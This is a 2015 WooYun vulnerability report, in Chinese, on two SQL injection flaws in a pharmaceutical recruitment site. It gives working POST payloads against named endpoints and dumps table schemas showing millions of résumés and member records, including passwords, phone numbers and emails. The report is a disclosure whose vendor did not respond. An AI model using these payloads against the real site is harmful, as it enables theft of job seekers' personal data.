当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144249

漏洞标题:某医药人才网两处处漏洞打包泄露400W+简历(包括姓名/邮箱/手机/工作地址等)

相关厂商:猎才医药网

漏洞作者: ksss

提交时间:2015-09-30 15:33

修复时间:2015-11-14 15:34

公开时间:2015-11-14 15:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-30: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-11-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

400多万条身份信息呢

详细说明:

http://www.jobuy.com/

QQ截图20150930144448.png


网站对参数过滤不是非常严格,产生了两处注入,泄露网站439万分简历,包括各种身份详情、职业经历和意向,50万会员账户信息,可登陆。
第一处
参数type,报错开的比较高,可以直接把值爆出来

http://www.jobuy.com/getjob.ashx
POST:count=14&type=LtaKxrcp' and convert(int,(db_name()))=1 and '1'='1


QQ截图20150930144751.png


同时暴露了网站的物理路径
第二处

http://www.jobuy.com/net/company/resumelist.aspx?State=4
POST:
Button_DonwLoad=%e6%89%93%e5%8c%85%e5%af%bc%e5%87%ba%e7%ad%9b%e9%80%89%e7%bb%93%e6%9e%9c&Button_DonwPage=%e5%af%bc%e5%87%ba%e9%80%89%e4%b8%ad%e7%ae%80%e5%8e%86&Button_ToFilter=%e5%bc%80%e5%a7%8b%e7%ad%9b%e9%80%89&CascadingDropDown_City_ClientState=Eu2AfYFp' and 1=(user_name()) and '1'='1&CascadingDropDown_ForWorkPlace_ClientState=&CascadingDropDown_Province_ClientState=&checkall=on&DropDownList_AgeRange=999&DropDownList_City=San%20Francisco&DropDownList_Degree=-1&DropDownList_DeliverDate=9999&DropDownList_Experience=999&DropDownList_Graduating=999&DropDownList_JobList=0&DropDownList_KeyWordType=2&DropDownList_MoveTo=-1&DropDownList_Province=%e5%8c%97%e4%ba%ac&DropDownList_SectionList=0&DropDownList_Sex=999&DropDownList_Star=0&DropDownList_State=-1&DropDownList_WorkPlace=%e5%8c%97%e4%ba%ac&HiddenField_Date=20150928155105&TextBox_KeyWord=1&__EVENTARGUMENT=&__EVENTTARGET=&__LASTFOCUS=&__VIEWSTATE=/wEPDwUKMTAyNzE5NzgyNA9kFgICBQ9kFhYCBQ9kFgICAQ8PFgIeBFRleHQFNTxzcGFuIGNsYXNzPSJvcmFuZ2UiPlvor5XnlKjotKblj7ddPC9zcGFuPmFicXZlZXNvLS0xZGQCCQ9kFgJmD2QWAgIBDxBkEBUBBuS4jemZkBUBATAUKwMBZxYBZmQCDQ8QZA8WAmYCARYCEAUG5LiN6ZmQBQEwZxAFCGFicXZlZXNvBQUzOTE3NGcWAWZkAhEPEA8WBh4NRGF0YVRleHRGaWVsZAUIUHJvdmluY2UeDkRhdGFWYWx1ZUZpZWxkBQhQcm92aW5jZR4LXyFEYXRhQm91bmRnZBAVJAbljJfkuqwG5aSp5rSlBuS4iua1twbph43luoYG5rKz5YyXBuWxseilvwblj7Dmub4G6L695a6BBuWQieaelwnpu5HpvpnmsZ8G5rGf6IuPBua1meaxnwblronlvr0G56aP5bu6Buaxn%2bilvwblsbHkuJwG5rKz5Y2XBua5luWMlwbmuZbljZcG5bm/5LicBueUmOiCgwblm5vlt50G6LS15beeBua1t%2bWNlwbkupHljZcG6Z2S5rW3BumZleilvwblub/opb8G6KW/6JePBuWugeWkjwbmlrDnloYJ5YaF6JKZ5Y%2bkBua%2bs%2bmXqAbpppnmuK8G5Zu95aSWBuS4jemZkBUkBuWMl%2bS6rAblpKnmtKUG5LiK5rW3BumHjeW6hgbmsrPljJcG5bGx6KW/BuWPsOa5vgbovr3lroEG5ZCJ5p6XCem7kem%2bmeaxnwbmsZ/oi48G5rWZ5rGfBuWuieW%2bvQbnpo/lu7oG5rGf6KW/BuWxseS4nAbmsrPljZcG5rmW5YyXBua5luWNlwblub/kuJwG55SY6IKDBuWbm%2bW3nQbotLXlt54G5rW35Y2XBuS6keWNlwbpnZLmtbcG6ZmV6KW/BuW5v%2bilvwbopb/ol48G5a6B5aSPBuaWsOeWhgnlhoXokpnlj6QG5r6z6ZeoBummmea4rwblm73lpJYAFCsDJGdnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2RkAhUPEA8WBh8BBQhQcm92aW5jZR8CBQhQcm92aW5jZR8DZ2QQFSQG5YyX5LqsBuWkqea0pQbkuIrmtbcG6YeN5bqGBuays%2bWMlwblsbHopb8G5Y%2bw5rm%2bBui%2bveWugQblkInmnpcJ6buR6b6Z5rGfBuaxn%2biLjwbmtZnmsZ8G5a6J5b69Buemj%2bW7ugbmsZ/opb8G5bGx5LicBuays%2bWNlwbmuZbljJcG5rmW5Y2XBuW5v%2bS4nAbnlJjogoMG5Zub5bedBui0teW3ngbmtbfljZcG5LqR5Y2XBumdkua1twbpmZXopb8G5bm/6KW/Builv%2biXjwblroHlpI8G5paw55aGCeWGheiSmeWPpAbmvrPpl6gG6aaZ5rivBuWbveWklgbkuI3pmZAVJAbljJfkuqwG5aSp5rSlBuS4iua1twbph43luoYG5rKz5YyXBuWxseilvwblj7Dmub4G6L695a6BBuWQieaelwnpu5HpvpnmsZ8G5rGf6IuPBua1meaxnwblronlvr0G56aP5bu6Buaxn%2bilvwblsbHkuJwG5rKz5Y2XBua5luWMlwbmuZbljZcG5bm/5LicBueUmOiCgwblm5vlt50G6LS15beeBua1t%2bWNlwbkupHljZcG6Z2S5rW3BumZleilvwblub/opb8G6KW/6JePBuWugeWkjwbmlrDnloYJ5YaF6JKZ5Y%2bkBua%2bs%2bmXqAbpppnmuK8G5Zu95aSWABQrAyRnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dkZAIXDxBkEBUBABUBABQrAwFnZGQCKQ8PZBYCHglvbmtleWRvd24FYmlmKGV2ZW50LmtleUNvZGU9PTEzKSB7ZG9jdW1lbnQuYWxsLkJ1dHRvbl9Ub0ZpbHRlci5mb2N1cygpO2RvY3VtZW50LmFsbC5CdXR0b25fVG9GaWx0ZXIuY2xpY2soKTt9ZAIxD2QWAmYPZBYCAgEPFgIeB1Zpc2libGVoZAIzD2QWAmYPZBYCAgMPEGQQFQYY56e75Yqo6YCJ5Lit566A5Y6G5YiwLi4uDOaWsOaUtueugOWOhgzlt7LpmIXnroDljoYP566A5Y6G5pS26JeP5aS5D%2bW3suS4i%2bi9veeugOWOhg/nroDljoblm57mlLbnq5kVBgItMQEwATEBMgE0ATMUKwMGZ2dnZ2dnFgFmZAI3D2QWAmYPZBYCAgkPDxYCHwVoZGQCOw9kFgJmD2QWAgIBDzwrAA0BAA8WBB8DZx4LXyFJdGVtQ291bnRmZGQYAgUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCGNoZWNrYWxsBRNHcmlkVmlld19SZXN1bWVMaXN0DzwrAAoCBhUBCVJlY2VpdmVJRAhmZK9xl54cmI4ma4WbUKzsKg94gBSr&__VIEWSTATEGENERATOR=C1E81B99


QQ截图20150930145406.png


当前库430W份求职简历

QQ截图20150930145500.png


Database: jobuy_zhaopin
Table: IJOB_ApplyResume
[25 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| Age | int |
| City | nvarchar |
| ComID | char |
| Degree | int |
| DTime | datetime |
| Email | nvarchar |
| Experience | int |
| Graduating | bit |
| ID | int |
| ip | nvarchar |
| JobID | int |
| lv | int |
| Memo | nvarchar |
| Name | nvarchar |
| Province | nvarchar |
| ResumeID | char |
| SectionID | int |
| Sex | bit |
| Star | int |
| State | int |
| Subject | nvarchar |
| Tel | nvarchar |
| Title | nvarchar |
| WorkPlace | nvarchar |
| ydtime | datetime |
+------------+----------+


取一条,信息包括姓名、邮箱、手机号、工作地点、专业等等

QQ截图20150930150208.png


50万条会员信息,包括邮箱、QQ号、账号密码、相片等等

Database: jobuy_zhaopin
Table: IJOB_Person
[82 columns]
+------------------------+----------+
| Column | Type |
+------------------------+----------+
| Administrator | bit |
| Age | tinyint |
| AvailNotice | nvarchar |
| AvailOpts | tinyint |
| BanCom | nvarchar |
| Birthday | tinyint |
| Birthmonth | tinyint |
| Birthyear | smallint |
| CensusRegisterCity | nvarchar |
| CensusRegisterProvince | char |
| City | nvarchar |
| complete | int |
| Computer | tinyint |
| ComputerLV | nvarchar |
| Degree | tinyint |
| DevelopingDirection | ntext |
| dianaLevel | tinyint |
| Education | ntext |
| Email | nvarchar |
| English | tinyint |
| EnglishLV | nvarchar |
| Experience | tinyint |
| Graduating | bit |
| Height | smallint |
| HitCount | int |
| HomePage | nvarchar |
| ID | int |
| IP | nvarchar |
| IsMobile | bit |
| jingyanshuoming | ntext |
| jinyan | int |
| JobClass | nvarchar |
| JobIntension1 | nvarchar |
| JobIntension2 | nvarchar |
| JobIntension3 | nvarchar |
| l_OneAbility | tinyint |
| l_twoAbility | tinyint |
| language_two | tinyint |
| LastLogin | datetime |
| llcs | int |
| LoginCount | int |
| lxbm | bit |
| mandarinLevel | tinyint |
| MaritalStatus | tinyint |
| mbsys | tinyint |
| Name | char |
| Nationality | char |
| Negotiable | tinyint |
| otherLanguage | varchar |
| PassWord | nvarchar |
| Pay | int |
| Photo | char |
| photopb | tinyint |
| phototre | tinyint |
| ProvideHouseNeeded | tinyint |
| Province | char |
| QQ | varchar |
| RegDate | datetime |
| ResumeID | char |
| ResumeLevel | int |
| rjobid | varchar |
| School | nvarchar |
| Secret | bit |
| SelfAssessment | ntext |
| Sex | bit |
| SiteName | varchar |
| Skill | ntext |
| Subject | nvarchar |
| Tel | nvarchar |
| UpdateDate | datetime |
| UserName | nvarchar |
| workdata | smallint |
| WorkEXPCache | ntext |
| WorkPlace1 | char |
| WorkPlace2 | char |
| WorkPlace3 | char |
| zazhi | bit |
| zhengshu1 | char |
| zhengshu2 | char |
| zhengshu3 | char |
| zhengshu4 | char |
| zhengshutre | tinyint |
+------------------------+----------+


管理员的账号证明

QQ截图20150930150832.png

漏洞证明:

QQ截图20150930150208.png


QQ截图20150930150832.png

修复方案:

参数过滤

版权声明:转载请注明来源 ksss@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:18 (WooYun评价)